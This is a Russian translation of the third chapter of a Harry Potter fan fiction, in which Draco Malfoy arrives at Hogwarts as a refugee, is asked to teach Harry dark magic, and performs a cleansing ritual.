Клятвопреступник (Oath Breaker)

Автор: Goblin Cat KC

Перевод: Weis

Бета: atenas

Оригинал: здесь (разрешение автора на перевод получено)

Рейтинг: R (авторский; PG-15 – переводчика)

Пейринг: Драко Малфой/Гарри Поттер, Люциус Малфой/Северус Снейп

Жанр: драма/приключения

Статус: закончен

Краткое содержание: Малфои предпринимают драматичную эскападу, Драко приходится обучать Гарри темной магии, а все студенты Слизерина исчезают.

Глава 3

Разбудив Драко среди ночи, Северус заставил его проглотить очередную отвратительную микстуру, строго запретил вставать и велел спать дальше. Привыкший к манерам крестного, юноша лишь благодарно кивнул и улегся, слушая краем уха, как Помфри отчитывает профессора за резкое обращение с ее пациентами и как тот наотрез отказывается сообщить ей, что за зелье он дал Драко. Юному Малфою не было дела до зелья, коль скоро его не слишком тошнило, даже больше – мерзкий на вкус отвар спас его от кошмаров. Обычно сон о том, как его преследует разъяренная толпа, снился Драко раз в несколько месяцев, и ему вовсе не хотелось видеть то же самое вторую ночь подряд.

В следующий раз он проснулся оттого, что кто-то немилосердно тряс его за плечо и солнце светило прямо в глаза. Невнятно выругавшись, юноша отмахнулся и проворчал, сонно моргая:

- Надеюсь, это важно.

- Вы с отцом одинаково очаровательны по утрам, - хмыкнул Северус. – Поднимайся. Директор хочет тебя видеть.

- Что? Уже? – Драко сердито посмотрел на крестного, и не думая вставать. – Я пролетел полстраны, чтобы попасть сюда, а он не может дать мне нормально выспаться?

- Ты проспал почти два дня, - заметил Снейп. Он взял со стола рядом с кроватью аккуратно сложенную одежду и кинул ее Драко на колени. – Вставай. Чем скорее мы с ним поговорим, тем скорее сможем устроить тебя поудобнее, в Слизерине.

- Два дня? – ошеломленно переспросил тот, натягивая мантию. – Есть новости?

- Пока ни слова, - Северус покачал головой. – Но не забывай: и с твоим отцом, и с Пэнси много людей, им нельзя никому попадаться на глаза. Они не могут просто взять и прилететь в Хогвартс.

- Мне не показалось, что это было просто, - пробормотал Драко.

Одеваясь и причесываясь, он заметил, что может согнуть пальцы на правой руке, хотя шевелить ими все еще было больно. Какую бы комбинацию зелий и заклинаний не использовали Снейп и Помфри, это помогло.

- Вот, - Северус протянул крестнику его палочку. – Помфри не знает, что я ее забрал, так что помалкивай.

Юноша сомкнул пальцы вокруг прохладного дерева, коснувшись знакомых, почти родных неровностей и щербинок. Палочка словно была естественным продолжением его руки. Проведя без нее всего несколько дней, он чувствовал себя потерянным и уязвимым. Она не раз спасала ему жизнь, и Драко бережно спрятал ее в карман, твердо намереваясь больше с ней не расставаться. После побега из собственного имения и нападения Пожирателей даже Хогвартс не казался ему достаточно безопасным.

Несмотря на войну, занятия продолжались. Но пока они с Северусом шли к кабинету Дамблдора, по обрывкам доносящихся из классов разговоров Драко понял, что все предметы приняли более практическую направленность. Защита от темной магии и способность использовать слабое место противника стали важнее, чем превращение чашек в мышей. Проходя мимо открытых дверей классов, он видел, как студенты оттачивают защитные чары и контрзаклятья. 

Недоуменно покачав головой, юноша поглядел на Северуса и неверяще прошептал:

- Неужели они не понимают, что Пожиратели будут использовать кое-что посерьезней обычных проклятий?

Мастер зелий презрительно скривился и мрачно ответил:

- Я несколько раз пытался объяснить, но они считают, что знают лучше.

Драко промолчал и потер слипающиеся глаза. Несмотря на долгий сон, он все еще чувствовал себя слабым и изможденным. Под глазами наверняка залегли темные круги. Каждое движение отдавалось болью в мышцах, все еще сведенных судорогой от немыслимого многочасового полета.

Интересно, многие ли знают, что он добрался до Хогвартса и теперь в безопасности? И знает ли Волдеморт?

В безопасности… Насколько это вообще возможно для находящихся в замке. Драко не сомневался ни секунды, что какие бы чары и заклинания ни использовали Дамблдор с профессорами для защиты школы, их можно обойти.

Остановившись у горгульи, Северус произнес:

- Вишневые бомбочки, - та послушно отпрыгнула в сторону, а Мастер зелий пояснил, заметив удивленный взгляд крестника: - Новая сладость от близнецов Уизли. Не вздумай ничего брать из вазочки на столе Дамблдора.

Поднимаясь по спиральной лестнице, Драко уловил доносящиеся из кабинета голоса и понял, что встреча не будет приватной. Услышав кроме голоса Поттера сердитые вопли Уизли и грязнокровки в ответ на какую-то реплику директора, юноша нахмурился.

Что ж, по крайней мере, с ним Северус. Какими бы благородными ни пытались казаться гриффиндорцы, Драко ни секунды не верил, что их благородство распространится и на него тоже. Дамблдор наверняка приготовил суровую речь о том, что не спустит с него глаз, дабы он не обернул свои темномагические штучки против его любимчиков и не улизнул с информацией о защитной системе замка.

Когда они вошли, директор поприветствовал их коротким кивком и указал на незанятые кресла. Драко пришлось сделать над собой усилие, чтобы пройти дальше и сесть - комната была буквально пропитана магией старика. Ощущение ему ужасно не понравилось, но он знал, что Люциус на его месте и глазом бы не моргнул. Драко чувствовал себя кроликом перед распахнутой пастью удава.

- Доброе утро, Северус. Мистер Малфой, рад видеть вас здоровым.

- Он еще не здоров, - ответил Снейп вместо крестника. – Ему нужно отдохнуть, по крайней мере, несколько дней.

- Понимаю, - кивнул директор и посмотрел на Драко, оставив без комментариев нежелание юноши встречаться с ним глазами. – Сожалею, что пришлось вас разбудить, но мне нужно задать вам несколько вопросов.

- Я думал, в нашу последнюю встречу вы увидели все, что нужно, - ответил тот, быстро взглянув на гриффиндорцев. Уизли и Грейнджер выглядели ужасно недовольными оттого, что им приходится терпеть его общество, а Поттер казался просто взбешенным.

Драко отвернулся, стараясь скрыть замешательство. Что он успел сделать не так?

- Ваши воспоминания убедили меня, что ваша семья больше не поддерживает Темного лорда, - кивнул Дамблдор. Уизли презрительно хмыкнул, заслужив мрачные взгляды обоих слизеринцев, а директор продолжил: - И я уверен, вы не причините вреда никому из студентов. Однако вы доставили в школу нечто весьма опасное, и я не могу позволить этой вещи находиться здесь.

- Вы имеете в виду книгу? – уточнил Драко.

- Уверяю вас, сэр, - решительно вмешался Снейп, - в умелых руках книга не опасна.  Малфой должен закончить свое обучение, несмотря на войну.

- И потом, книга безопасна, пока она в мешке, - добавил Драко. – Просто не надо ее вынимать.

- Я абсолютно уверен, что вы оба способны справиться с магией летописи, - согласился Дамблдор. – Я имел в виду сумку, в которой она находится. Это дьявольский мешок, если не ошибаюсь?

- Да, - осторожно подтвердил Драко. – Но демон связан нашей магией. Он не сможет вырваться.

- В обычных обстоятельствах я бы согласился, -  длинным серебряным ключом Дамблдор отпер верхний ящик своего стола, достал оттуда деревянную шкатулку и открыл ее тем же ключом. Очень осторожно вытащив мешок, который Драко берег как зеницу ока, пока добирался до замка, старик аккуратно положил его перед юношей. – Но, боюсь, с этим возникли проблемы.

Мешок шевелился и ерзал, ткань вздымалась и опадала, словно внутри находился кто-то живой. Все вздрогнули. Уизли схватился за палочку, но Дамблдор жестом остановил его.

- Я не думаю, что демон вырвался на свободу. Я в меру своих возможностей проверил мешок и  уверен, что сдерживающие чары в порядке.

- Тогда… - заговорил Снейп, внимательно глядя на беспокойно дергающуюся сумку, - …они слабнут, - понял он.

- Черт подери, - забывшись, выругался Драко, наконец, догадавшись, в чем дело.  – Когда я активировал заклятье, разрушившее имение, оно зацепило и магию, сдерживающую демона.

- Вероятно, - кивнул Дамблдор. - Но к тому заклятию добавились еще и обрушение всех ваших фамильных чар, высвобожденная магия находящихся в доме артефактов и коллекция редчайших волшебных ингредиентов вашей матери, которые только усугубили реакцию. Все вместе серьезно нарушило магический баланс.

- Не говоря уже о древней метле и той странной буре, что преследовала тебя всю дорогу, - добавил Снейп.

- Поделом, - пробормотал Уизли.

Дамблдор строго взглянул на гриффиндорца, но ничего ему не сказал и вновь обратился к Драко:

- Вне всяких сомнений, такое количество мощной, неуправляемой колдовской силы расшатало чары на дьявольском мешке. Я сомневаюсь, что сдерживающая демона защита также пострадала, но поскольку эти создания ­- порождения хаоса, я предпочел бы не рисковать и уничтожить мешок.

- Нет, - в один голос возразили Северус и Драко. Мастер зелий опустил ладонь крестнику на плечо и тот умолк, предоставив право говорить наставнику.

- Предпочел бы, - повторил Дамблдор, самодовольно улыбнувшись. – Но с помощью мистера Малфоя мы можем попытаться спасти содержимое.

По другую сторону стола недовольно насупилась Грейнджер:

- Я не понимаю, сэр. Как Малфой может сделать что-то, чего не можете вы?

- Кровь, - с отвращением заявил Уизли, уставившись на мешок, словно тот был мерзкой тварью, очередной мечтой Хагрида. – Темные маги любят связывать фамильную собственность магией крови, чтоб ее могли использовать только члены семьи.

- Все чистокровные зачаровывают фамильную собственность, - огрызнулся Драко. – Если им, конечно, есть что беречь, - Северус крепче сжал его плечо и юноша замолчал. Здесь и сейчас было не место для ссоры, но, что было важнее, ему не хотелось расстраивать крестного.

- Возьми нож,- негромко велел Снейп.

Недоуменно моргнув, Драко поглядел на стол и увидел, что Дамблдор наколдовал небольшой нож с простой черной рукояткой. Не до конца уверенный, что старик действительно хочет присутствовать при демонстрации темной магии, он отважился взглянуть директору в глаза. Когда тот кивнул, Драко вздохнул и осторожно взял нож раненой рукой. Поднес его к ладони, крепко прижал и полоснул. Сидящие справа от него Поттер и Грейнджер замерли, а Уизли отвернулся. Кровь тонкой струйкой потекла по лезвию, но порез был неглубоким. Положив нож, Драко немедля засунул окровавленную руку в дьявольский мешок.

Тут же словно кто-то невидимый положил книгу ему на ладонь. Юноша крепко сжал пальцы и очень осторожно вынул ее – это оказался отцовский дневник. Снова опустив руку внутрь, Драко сразу ощутил следующую книгу - намного больше и тяжелее. Когда он вытащил ее, раздался потрясенный вздох гриффиндорцев. Даже Дамблдор уже не казался таким невозмутимым.

Поглядев на фолиант, Драко осторожно положил его на стол. Фамильная летопись Малфоев, сохраненная бесчисленными поколениями, облаченная в обложку из человеческой кожи. Ее пожелтевшие страницы с неровными полями были исписаны полувыцветшими коричневыми чернилами.  Книгу стягивал толстый ремень на замке, но даже несмотря на это она казалась живой, беспокойно скрипела, поеживалась и шелестела страницами.

Пока остальные бесстыже пялились на его наследие, Драко снова запустил руку в мешок – за монетами. Но вместо этого ему в ладонь пихнули небольшую бутыль. Нахмурившись, юноша вытащил ее и удивленно осмотрел. На небольшом ярлычке витиеватым почерком Нарциссы значилось: «Основа 99 настоев».

- Из ее лаборатории, - кивнул себе Драко

Забрав бутыль из рук крестника, Снейп внимательно поглядел на прозрачную жидкость и заключил:

 - Это, определенно, из запасов Нарциссы. Полезная вещь, но, как я понял, ты ожидал найти что-то другое? – он взглянул на Драко.

- Да, - кивнул тот. - Я взял только две книги и немного золота, - он снова засунул руку внутрь, и его ладони коснулась другая – жесткая, чешуйчатая и когтистая – оцарапав нежную кожу. Драко быстро отпрянул, и Дамблдор тут же затянул бечеву на горловине мешка, уложил его обратно в коробку и крепко запер.

- Определенно, сдерживающие узы пали, - заявил он. - Полагаю, внутри не осталось ничего ценного, мистер Малфой?

Ничего такого, ради чего стоило бы подставляться демону – Драко покачал головой. Без лишних слов Дамблдор коснулся палочкой крышки коробки и что-то быстро произнес. Из замочной скважины повалил дым. Хотя было ужасно жаль терять такую редкую вещь, Драко утешило то, что ему все-таки удалось спасти обе книги и нежданно-негаданно заполучить базу для настоев, которая стоила втрое больше, чем исчезнувшее золото.

Что-то блеснуло из-под корешка отцовского дневника – монета застряла между страниц. Вытащив ее, юноша задумчиво уставился на последнее напоминание об их состоянии, которое удалось спасти из разрушенного имения. И даже когда Северус залечил порез у него на ладони, он не поднял взгляд, привыкнув, что крестный частенько заботился о таких мелочах.

- Что ж, теперь, когда этот вопрос решен, - заявил Дамблдор, отставляя ящичек в сторону, - мы должны обсудить нечто более важное. Ваш отец со своими рыцарями исчез без следа. Я уверен, что они сумеют о себе позаботиться. Однако нам до сих пор неизвестно, где находится Пэнси Паркинсон и остальные студенты Слизерина. Знаете ли вы хоть что-нибудь об их местонахождении? Мы могли бы послать отряд авроров им на помощь…

- Пэнси никого не подпустит, - перебил его Драко, покачав головой. – Я велел ей не доверять никому, пока они не доберутся сюда. Прежде чем послать помощь, нам придется подождать, пока они не подойдут достаточно близко.  

Дамблдор многозначительно взглянул на Снейпа, словно призывая его переубедить Драко, но, к его разочарованию, Мастер зелий решительно кивнул:

- Если мы пошлем кого-нибудь сейчас, дети воспримут это как угрозу и рассредоточатся, - объяснил он. – Что бы мы ни предприняли, это лишь навредит им.

- Но они же совсем одни!- не выдержала Грейнджер. – Как они смогут пересечь всю страну в одиночку?!

- Темная магия, - с отвращением отозвался Уизли, скрестив руки и откинувшись в кресле. – Верно, Малфой? Кого они принесут в жертву, чтобы оставаться незамеченными? Устроят резню среди магглов?

Поттер и Грейнджер недоуменно поглядели на него, но остальные не отреагировали. Ухмыльнувшись, Драко обернулся к рыжему гриффиндорцу, уверенный, что в присутствии Дамблдора и Снейпа тот не посмеет ничего сделать.

- Не будь дураком, Уизли. Ты прекрасно знаешь, что для жертвоприношения нет ничего лучше чистой крови.

Едва разъяренный Рон собрался вскочить, Дамблдор одернул их:

- Довольно! Вам придется работать вместе, и я хочу, чтоб вы были взаимно вежливы.

Драко ошеломленно уставился на старика. Работать с ними? Помогать им?! После всего, что они ему сделали?

Заметив, что кроме него никто не выглядит удивленным, юноша понял, что решение уже принято, и даже Северус, пусть неохотно, но согласился.  К тому же сейчас только доброта Дамблдора защищала его от лап Министерства. Подавив вздох, Драко презрительно уставился на гриффиндорцев.

- Теперь понятно, почему Поттер выглядит так, словно ему хочется сровнять меня с землей, - пробормотал он. – Чего вы хотите? Чтобы я присоединился к вашей святой троице в какой-нибудь бредовой эскападе, чреватой смертью или членовредительством, которая в результате спасет школу и принесет Гриффиндору очередную тысячу баллов?

- Чего-то не столь драматичного, - улыбнулся Дамблдор. – Мне требуются от вас две вещи. Во-первых, зелья профессора Снейпа много раз выручали нас. Я прошу вас помочь ему их готовить. Все школьные запасы в вашем полном распоряжении, также как и ресурсы Запретного леса, коль скоро вам удастся избежать трений с кентаврами. Запас зелий нужно пополнять постоянно.

- Целебные отвары и противоядия? – уточнил Драко. – Слишком просто. Не стоит усилий.

- Для вас – да. Их в изобилии производят студенты младших курсов, - согласился директор. – Вам предстоит заниматься более сложными составами.

- Они все сложные, - буркнул Поттер.

Не обращая внимания на гриффиндорца, Драко попытался понять, что имеет в виду Дамблдор. Яды, кислоты? Ему даже не понадобилось спрашивать, хватило лишь взгляда на Северуса – тот знал, о чем юноша думает.

- Именно, - кивнул Мастер зелий. – Наш обычный набор, - он не стал распространяться, а в присутствии остальных Драко предпочел не уточнять.

- Хорошо, - осторожно согласился он, снова обернувшись к Дамблдору. – Это не так уж сложно. А вторая вещь?

Тут Поттер помрачнел еще сильнее и еще больше сгорбился. Уизли успокаивающе положил руку ему на плечо, а Грейнджер бросила сочувственный взгляд.

- Опыт, что мы приобрели в битвах, - начал Дамблдор, - позволил нам понять, что Пожиратели смерти изменили тактику. Раньше их главным оружием были непростительные проклятья. Теперь же они все чаще и чаще используют против нас темную магию, заклятья, которые мы или забыли, или отвергли, как совершенно чуждые.

- Иными словами, - с оттенком превосходства заметил Северус, - притворяясь, что темной магии не существует и игнорируя ее, Министерство само подставило себя под удар.

- Именно, - согласился Дамблдор. – И раз уж в Хогвартсе сейчас находятся два принявших нашу сторону темных мага, было бы глупо не воспользоваться их знаниями. Нам, скорее всего, не хватит времени обучить остальных студентов, но… - он посмотрел на Гарри, - я бы хотел, чтобы вы научили мистера Поттера стольким заклинаниям, скольким сможете.

Продолжая разглагольствовать, почему Поттеру требуется ускоренный курс темной маги, Дамблдор не заметил ошеломленного вида Драко. Тот обернулся к Грейнджер и Уизли и встретил неприветливые взгляды, обещающие ему кучу неприятностей, если он осмелится навредить их золотому мальчику. Затем посмотрел на Северуса. Тот выглядел точь-в-точь как Нарцисса, когда ей приходилось ради приличия присутствовать на квиддичных матчах и терпеть глупцов, отваживающихся глядеть сверху вниз на таких, как она. И только Драко собрался возразить, как до него дошла вся прелесть ситуации.

Он сможет использовать против Поттера темную магию. Дамблдор разрешает ему применять бесчисленные, самые мерзкие заклинания против своего любимчика. Даже если Драко и не будет специально стараться прикончить гриффиндорца, во время дуэлей частенько случается много неожиданных вещей. Всего-то и надо – прилежно выполнять требование Дамблдора, а в результате Поттер не будет вылезать из лазарета!

Юноша украдкой взглянул на Северуса и увидел, как его недовольная гримаса превратилась в едва заметную улыбку, когда тот оценил все преимущества предложения.

Заметив их подозрительно довольный вид, Дамблдор быстро заметил:

- Ну уж нет! Я уверен, существуют такие способы изучать темную магию, где ученику не  требуется изображать мишень.

В ответ Драко лишь горько усмехнулся:

- Если и так, то мне они неизвестны.

- Мы предпочитаем непосредственное обучение, - подтвердил Северус. – Но если мистеру Поттеру кажется, что ему требуется особое отношение, я уверен, мы сможем обойти правила.

Crepara, bubonia, crawenen, rotianan, haetus heorte – бесчисленные заклятья пришли на ум  Драко. Все они были опасны, а многие – омерзительны. Юноша невольно задумался, как отреагируют остальные гриффиндорцы, узнав, чему учится Поттер. Найдется ли тогда ему место среди них? Или врожденная ненависть к темной магии пересилит симпатию ко всеобщему любимцу, и они отвергнут его?

- И, наконец, - Дамблдор перебил ход мыслей Драко, - остается нерешенным вопрос о вашем статусе в Хогвартсе. Закон о предоставлении убежища очень стар и ни к чему не обязывает школу, укрывающую беглеца. Сама эта идея изначально возникла как частная инициатива нескольких семей.

- Верно, - кивнул Драко. -   Те, на кого косо смотрело общество, придумали это, чтобы иметь возможность избежать суда толпы и влиятельных врагов. Я хорошо знаю историю, - в своих снах Драко множество раз отчаянно пытался добраться до убежища, спастись от расправы толпы, и часто не успевал. 

- Тогда вы понимаете, что не можете оставаться здесь в качестве ученика. Вы – гость и потому не должны выполнять обязанности студента, - Дамблдор вздохнул. – И даже если вы попробуете, то, скорее всего, навлечете на себя всеобщее недовольство.

- Ничего, - пожал плечами юноша. – Я не возражаю против того, чтобы не ходить на уроки.

- Не сомневаюсь, - понимающе улыбнулся старик. – Однако я рекомендую вам все равно посещать занятия, которые вы бы выбрали в обычных обстоятельствах. Вам не потребуется выполнять задания, но вы сможете участвовать в работе и, если обстоятельства позволят, сдать ТРИТОНы.

- Я набросал тебе расписание, - добавил Северус. – Позже мы вместе его посмотрим. Что-нибудь еще, директор?

Тот покачал головой:

- Я еще раз благодарю вас обоих за помощь.

«Как будто победа Волдеморта может пойти кому-то на пользу», – подумал Драко. Он поднялся, но старик внезапно добавил:

- Простите, профессор Снейп, но я вдруг вспомнил, что хотел обсудить с вами еще пару вопросов. Мистер Малфой, будьте так любезны, покажите мистеру Поттеру, где находится гостиная вашего факультета. Наши подземелья – настоящий лабиринт, и мне бы не хотелось, чтобы он заблудился, - и едва Драко и Северус собрались возразить, пояснил: - Будет лучше, если ваши занятия будут проходить в подземельях, подальше от остальных студентов. Ваша гостиная представляется наилучшим местом. И еще: я требую, чтобы вы держали все это в строжайшей тайне. Боюсь, общество никогда не упускало возможность наказать темных магов, особенно пользуясь численным преимуществом. А поскольку студенты Слизерина сейчас отсутствуют, мистер Малфой очень рискует, находясь в школе безо всякой поддержки.

Грейнджер послушно кивнула, а Уизли помедлил и предупреждающе взглянул на юного слизеринца. Поттер же просто поднялся и выжидающе замер у двери, скрестив руки на груди и мрачно уставившись в пол. Драко подумал, что он похож на надувшегося ребенка, которого только что отругали. Интересно, долго Дамблдору пришлось его уговаривать? Еще раз взглянув на Северуса и поняв, что выхода нет, он тоже встал, оставив книги и бутыль с зельем крестному и задумчиво вертя меж пальцев монету.

- Твой последний галлеон, Малфой? – самодовольно ухмыльнулся Уизли. – А знаешь, банковский счет вашей семейки заморозили. Каково это – быть нищим?

Если рыжий отважился на подобную наглость прямо на глазах у директора, значит, так оно и было. Неужели золотая троица снова ввязалась в какую-то авантюру и спасла школу от очередной напасти? Драко был так занят освобождением отца, что предоставил матери отслеживать все козни Волдеморта против Хогвартса. 

Подражая Люциусу, он бесстрастно посмотрел на Уизли и, небрежно кинув монету ему на колени, насмешливо протянул:

- Не волнуйся за меня. Как бы ни обстояли наши финансовые дела, Малфои всегда могут позволить себе благотворительность.

Рыжий рванулся было к нему, но Грейнджер успела схватить его за руку, не пуская. Под их разъяренными взглядами Драко развернулся и вышел из кабинета, уверенный, что Поттер последует за ним.

К счастью, урок еще не закончился, и коридоры были пусты.

Внезапно болезненные судороги пронзили руку и плечи Драко, ноги задрожали. Очевидно, даже долгий отдых не помог ему окончательно прийти в себя. Он осторожно попробовал сжать кулак – Помфри и Снейп превзошли себя, пытаясь вылечить его рану, но пальцы упрямо не желали сгибаться до конца, а мизинец и вовсе онемел.

- Обязательно нужно быть таким ублюдком? – рявкнул Поттер, поравнявшись с ним.

- Я дал твоему другу золото, и так ты меня благодаришь? – отозвался Драко. – Моя семья всегда помогала нуждающимся. 

- Ты отвратительный, заносчивый придурок, - прошипел Поттер, стремительно развернувшись и преградив Драко путь. – И ты сейчас совсем один, никаких Крэбба с Гойлом, чтоб прикрыть спину. Как ты надеешься справиться без помощи мамочки с папочкой?

Драко едва заметно поморщился, когда Поттер навис над ним. Он до сих пор оставался худощавым и невысоким – даже меньше Нарциссы, - а  гриффиндорец изрядно подрос за последние пару лет. Особенно остро ощущая отсутствие привычной поддержки Грегори и Винсента,  Драко раздраженно рявкнул:

- Понятия не имею! Как ты справляешься без своих?

От ярости гриффиндорец покраснел сильнее, чем Уизли, и сжал кулаки. Драко тут же вспомнил, какой мощный у него удар.

- Ударишь меня и будешь объяснять Дамблдору, почему ты поднял руку на гостя, - предостерегающе прошипел он.

Поттер насилу сдержался, и было заметно, как тяжело ему это далось. Наконец он опустил  кулак и прорычал:

- Если ты еще хоть раз, хоть раз преступишь черту, Малфой, клянусь, я отправлю тебя к твоему обожаемому лорду по кусочкам!

- В том-то и дело, - холодно отозвался Драко. -  Будь он моим лордом, меня бы здесь не было. Или ты был слишком занят, дуясь, и пропустил все, что мы сказали о переходе на вашу сторону? – он обошел гриффиндорца и направился дальше, к подземельям.

Сердитый Поттер зашагал следом, не забыв добавить:

- Ты переметнулся к нам только потому, что твоя семейка оказалась под угрозой. Но вы все еще темные маги и ничто не изменит этого.

Драко ничего не ответил. Они миновали большинство классов и главные коридоры, и ступили в галерею, ведущую к слизеринской части замка. Склонив голову, окруженный эхом шагов, он безмолвно приветствовал прохладный, влажный воздух подземелий, знакомых и ободряющих. Мышцы ныли все сильнее, и Драко едва сдерживал желание растереть усталое тело. Когда Поттер свалит, можно будет принять горячую ванну…

Вдруг грудь пронзила ослепительная вспышка боли, куда сильнее случившейся возле кабинета Дамблдора, и Драко упал на колени. Приложив ладонь к сердцу, он ощутил, как оно зачастило, забилось все сильнее и сильнее. И тут вспомнил, что за четыре дня ни разу не принял ванну - Помфри использовала очищающие заклинания.

- Малфой? – Поттер с подозрением уставился на него. – Что ты делаешь? Если это твоя очередная выходка…

Не слушая его, Драко поднялся, придерживаясь за стену, и поспешил к гостиной, вспоминая, сколько магии обрушилось на него за последние дни. Его собственная темная магия, чары, уничтожившие имение, древняя сила, высвобожденная в результате, и колдовская буря Волдеморта, которая преследовала его до самого Хогвартса…

- Да что с тобой такое? – нагнал его Гарри. – Ты задыхаешься!

- Ты дурак, Поттер, - прошипел Драко, закрыв глаза. – Просто дурак… - болезненные судороги скрутили тело, дыхание перехватило, и он повалился на пол, силясь вдохнуть.

И почти сразу, к своему немалому удивлению, ощутил, как Поттер обхватил его за талию и потянул вверх. Драко невольно прислонился к гриффиндорцу, ища поддержки, но когда тот попытался развернуть его, вырвался.

- Что ты делаешь? – возмутился Поттер. – Тебе нужно к Помфри.

- Нет, - Драко направился в другую сторону. – Слизерин ближе.

- Но…

- Черт подери, - хрипло прошептал Драко, - тебе нужен урок темной магии – получи! Это больно! Ты или поможешь мне добраться до Слизерина, или будешь брать уроки у мертвого темного мага!

На этот раз Поттер не стал спорить. Следуя указаниям Драко, несколько минут спустя они добрались до входа в гостиную. Только Поттер открыл рот, чтобы спросить пароль, Малфой прохрипел «Илмаузер» и ввалился внутрь, не дожидаясь, пока дверь откроется полностью.

Единственный источник тепла и света  – огонь в камине – проигрывал битву вездесущему, влажному холоду подземелий.  Драко едва смог указать на арку, за которой располагались спальни и ванная. Пока Гарри вел – а вернее, тащил – Малфоя, он огляделся. Кирпич и известка терялись среди каменных стен – помещения Слизерина были практически полностью вырублены в естественной пещере. Добравшись до душа, он был почти готов увидеть сталактиты.

Но там ничто не напоминало о пещерах, разве что низкий потолок и душевые стойки, врезанные прямо в каменные стены. Драко, спотыкаясь, ввалился в первую же кабинку, расстегнул и сбросил мантию, и включил на полную мощность горячую воду. Он едва успел скинуть ботинки, когда сердце пронзил очередной приступ боли, и юноша начал ритуал, не заботясь о том, что брюки и рубашка промокнут. Помня, что Поттер так и стоит позади, Драко соединил ладони.

- Sithenes sceandu kasta… - зашептал он древние, привычные слова, - an niht ic dragan, heonon ren an cleonsian min sawol.*

Боль никак не желала утихать, и Драко испугался, что опоздал. Крепко-накрепко сцепив ладони, так, что рана приоткрылась и закровоточила снова, он повторил заклинание. Когда очередной спазм пронзил спину, юноша обессилено прислонился к стене и, закрыв глаза, произнес ритуальные слова еще раз.

Испуганный вздох Поттера подсказал Драко, что он спасен. Открыв глаза, он поглядел вниз. С его тела сползали толстые пряди тьмы, словно грязь марая зеленый камень пола, и потихоньку исчезали в водостоке. Спазмы внезапно прекратились, и Драко снова едва не упал, на этот раз – от облегчения. Его подхватили и осторожно опустили на пол, под горячие струи, пока остатки темной магии уползали вместе с водой.

- Что это такое? – медленно спросил Поттер, настороженно глядя, как витки тьмы  стекают с лица слизеринца.

- Остаточная магия, - отозвался Драко, глубоко вздохнув. Обессиленный, он повернул руку и показал Гарри темные потеки на рукаве. – Я чуть не опоздал.

Поттер схватил его руку, чтобы рассмотреть получше, но охнул и отпустил.

- Ай! Ты же сваришься! – он протянул руку к кранам и резко крутанул холодный, чтобы сделать температуру более терпимой.

Драко не стал объяснять, что из-за остаточной магии он просто не чувствует температуры, и что перспектива свариться заживо нисколько его не волнует – так он устал. Он успокоился и расслабился, почти забыв, что рядом нет Пэнси, что это Поттер помогает ему.

- Что за заклинание ты использовал? – наконец спросил Гарри. – Что за слизер… каст… чего-то там?

- Расскажу, когда немного приду в себя, - еле-еле процедил полуживой Драко. – Дай мне несколько минут.

Пока они молчали, Гарри обдумывал увиденное, а наследник Малфоев тосковал о пропавших друзьях, которым не понадобилось бы ничего объяснять. Особенно остро ощущалось отсутствие Пэнси – она всегда чувствовала, когда лучше помолчать. Потому что Поттер выбрал именно этот момент, чтобы заговорить.

- Дамблдор хотел, чтобы я это увидел, - произнес он вдруг, глядя на темные потеки на полу. – Боль, ритуал, тьму… Он знал, что должно произойти, и хотел, чтобы я знал недостатки темной магии.

- Недостатки? – прошипел Драко. – По-твоему это недостатки? – он сердито отпихнул гриффиндорца и встал, пошатываясь. Облокотился о стену и стряхнул последние темные, тягучие капли. – Ты идиот, Поттер. Ты действительно ничего о нас не знаешь?

- Я знаю, что вы злые, - огрызнулся тот, вскочив и тут же поскользнувшись, –  Прогнившие насквозь. Вы отвернулись от света, и никто и ничто вас не заботит.

- Ты выяснил это сам, или просто повторяешь чушь, которую тебе наплели? – оттолкнув гриффиндорца, Драко подобрал мокрую мантию и ботинки и нетвердым шагом направился в гостиную. Поежившись от холодного воздуха в коридоре, он поспешил к камину, уселся прямо напротив огня и стянул рубашку.

- Даже если это чушь, - презрительно возразил Поттер, - я не видел ничего, что заставило бы меня думать по-другому.

- Сказал мальчик в очках, - заметил Драко, раскладывая на теплых камнях перед огнем влажные рубашку и мантию. – Если темная магия так отвратительна, зачем ты собираешься ее изучать?

- Чтобы уметь защищаться от нее, - пожал плечами Поттер. - Ты же не думаешь, что я стану с вами договариваться, как велит Амбридж?

В ответ на это Драко зловеще усмехнулся:

- Очень эффективный способ потерять голову, - согревшись и избавившись от последних напоминаний о боли, он улыбнулся. - Ладно, я научу тебя каждому мерзкому и отвратительному заклятью. Научу, как причинять боль, проклинать и убивать. А когда мы закончим, тебе очень повезет, если хотя бы твоя подружка-грязнокровка по-прежнему захочет с тобой разговаривать. Потому что любой считающий себя светлым чистокровный волшебник люто ненавидит темных магов, и никакая дружба тут не поможет. А теперь… - Драко многозначительно взглянул на дверь, - Дамблдор хотел, чтобы я за ручку отвел его маленького гриффиндорца в страшные слизеринские подземелья, чтобы тот потом не заблудился. Теперь ты знаешь дорогу, так что проваливай.

Несколько секунд Поттер молча таращился на него. Единственными звуками вокруг были потрескивание огня и еле слышное озерное эхо. Чуть погодя Драко отвел взгляд и уставился в пол, не желая видеть пронзительный взгляд золотого мальчика или его обвинительную позу. И когда гриффиндорец заговорил, он почти что почувствовал облегчение.

- Я не такой как ты, - медленно произнес тот. – Я не люблю причинять боль. Но если ты еще раз назовешь кого-нибудь грязнокровкой, я сделаю тебе больно, гость ты или нет, - и, резко развернувшись, он вышел.

Драко презрительно глядел ему вслед, пока не сомкнулась стена, не сомневаясь, что Поттер поступит так, как обещал. Он ненавидел, когда ему угрожали, но сейчас некому было стоять у него за спиной, отпугивая недоброжелателей одним своим видом. Какая вопиющая несправедливость! Драко удалось вогнать Министерство магии в страх и ужас, но на Поттера подначки никогда не действовали так, как на других.

Зато ему всегда удавалось разозлить гриффиндорца. Но юный Малфой сомневался, что сейчас это было бы разумно.

Брюки почти высохли. Он поднялся и подошел к стеклянной стене. Под толстой коркой льда озерная вода казалась неподвижной. После снегопада глубины отсвечивали бледно-серым, и Драко ясно видел в стекле свое отражение.

Когда его волосы успели так отрасти? Еще не такие длинные, как у Люциуса, но кончики уже почти касались плеч. Со всеми этими хлопотами по освобождению отца и планированием предательства Темного лорда Драко забыл подстричься.

И поесть он тоже частенько забывал – тело казалось не просто жилистым, а худым. А лицо… Он вздохнул и опустил голову. Темные круги вокруг глаз делали его взгляд пустым, кожа казалась болезненно бледной, и откуда-то появилось несколько царапин, которых раньше не было. Наверное, поцарапался, когда летел через лес, решил Драко.

